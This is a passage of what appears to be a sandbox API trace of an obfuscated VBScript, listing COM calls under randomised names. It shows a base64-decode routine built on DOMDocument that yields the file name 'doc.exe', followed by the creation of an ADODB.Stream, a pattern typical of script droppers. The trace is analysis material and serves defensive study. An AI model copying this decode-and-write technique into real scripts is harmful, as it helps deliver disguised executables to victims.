Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.167] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.167] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.167] GetCurrentThreadId () returned 0xd44 [0089.167] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.167] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.167] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.167] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.167] GetCurrentThreadId () returned 0xd44 [0089.167] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.167] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.168] malloc (_Size=0x804) returned 0x83fc220 [0089.168] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0089.168] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0089.168] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0089.168] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5546e0) returned 0x0 [0089.168] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="Text", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=24) returned 0x0 [0089.168] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0089.168] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0089.168] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5546e0) returned 0x0 [0089.168] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=24, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1="ZG9jLmV4ZQ==", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1="ZG9jLmV4ZQ==", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0089.169] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0089.169] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0089.169] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x5546e0) returned 0x0 [0089.169] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="NodeTypedValue", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=25) returned 0x0 [0089.169] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0089.169] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0089.169] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x5546e0) returned 0x0 [0089.169] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=25, lcid=0x409, wFlags=0x3, pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b079a8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b93240*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0089.170] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0089.170] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0089.170] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0089.170] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.170] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.170] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.170] GetCurrentThreadId () returned 0xd44 [0089.170] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.170] ??2@YAPAXI@Z () returned 0x11c1f68 [0089.170] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0089.171] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6d03cbc, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0089.171] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.171] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vgct783hth", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.171] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vgct783hth", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.171] GetCurrentThreadId () returned 0xd44 [0089.171] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.171] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.171] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="piiing", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.171] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="piiing", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.171] GetCurrentThreadId () returned 0xd44 [0089.172] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.172] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.172] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.172] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.172] GetCurrentThreadId () returned 0xd44 [0089.172] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.172] malloc (_Size=0x204) returned 0x844c5d0 [0089.172] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.173] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.173] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.173] GetCurrentThreadId () returned 0xd44 [0089.173] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.173] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.173] malloc (_Size=0x804) returned 0x83fc220 [0089.173] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.173] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0089.173] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x154268 | out: lpclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0089.173] SysStringLen (param_1=0x0) returned 0x0 [0089.173] CoGetClassObject (in: rclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154258 | out: ppv=0x154258*=0x962b2d0) returned 0x0 [0089.174] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154254 | out: ppvObject=0x154254*=0x0) returned 0x80004002 [0089.174] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15425c | out: ppvObject=0x15425c*=0x962bad0) returned 0x0 [0089.174] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0089.174] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154220 | out: ppvObject=0x154220*=0x962bb00) returned 0x0 [0089.174] ??2@YAPAXI@Z () returned 0x1112950 [0089.174] Stream:IObjectWithSite:SetSite (This=0x962bb00, pUnkSite=0x1112950) returned 0x0 [0089.174] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154168 | out: ppvObject=0x154168*=0x0) returned 0x80004002 [0089.174] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154158 | out: ppvObject=0x154158*=0x0) returned 0x80004002 [0089.174] DOMDocument:IUnknown:AddRef (This=0x1112950) returned 0x2 [0089.174] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1541b8 | out: ppvObject=0x1541b8*=0x0) returned 0x80004002 [0089.174] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541b4 | out: ppvObject=0x1541b4*=0x1112950) returned 0x0 [0089.174] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0089.174] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154190 | out: ppvObject=0x154190*=0x83fd368) returned 0x0 [0089.174] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15418c | out: ppvObject=0x15418c*=0x83fd378) returned 0x0 [0089.174] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0089.175] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.175] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.175] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0089.175] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541bc | out: ppvObject=0x1541bc*=0x1112950) returned 0x0 [0089.175] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0089.175] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154188 | out: ppvObject=0x154188*=0x83fd368) returned 0x0 [0089.175] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154184 | out: ppvObject=0x154184*=0x83fd378) returned 0x0 [0089.175] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0089.175] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.175] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.175] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0089.175] Stream:IUnknown:Release (This=0x962bb00) returned 0x1 [0089.175] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154210 | out: ppvObject=0x154210*=0x962bad0) returned 0x0 [0089.175] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x3 [0089.175] Stream:IUnknown:Release (This=0x962bad0) returned 0x2 [0089.175] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0089.175] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.175] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x0 [0089.176] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0089.176] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.176] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.176] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.176] GetCurrentThreadId () returned 0xd44 [0089.176] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.176] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.176] malloc (_Size=0x804) returned 0x83fc220 [0089.177] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.177] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.177] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.177] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=4) returned 0x0 [0089.177] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0089.177] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.177] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0089.177] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0089.177] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.178] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="svksovosrgh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.178] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="svksovosrgh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.178] GetCurrentThreadId () returned 0xd44 [0089.178] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.178] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.178] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.178] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.178] GetCurrentThreadId () returned 0xd44 [0089.178] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.178] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.179] malloc (_Size=0x804) returned 0x83fc220 [0089.179] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.179] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.179] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.179] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Open", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=10) returned 0x0 [0089.179] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0089.179] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.179] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0089.179] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0089.179] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.180] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ivrejk", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.180] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ivrejk", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.180] GetCurrentThreadId () returned 0xd44 [0089.180] IUnknown:Release (This=0x11977a8) returned 0x8 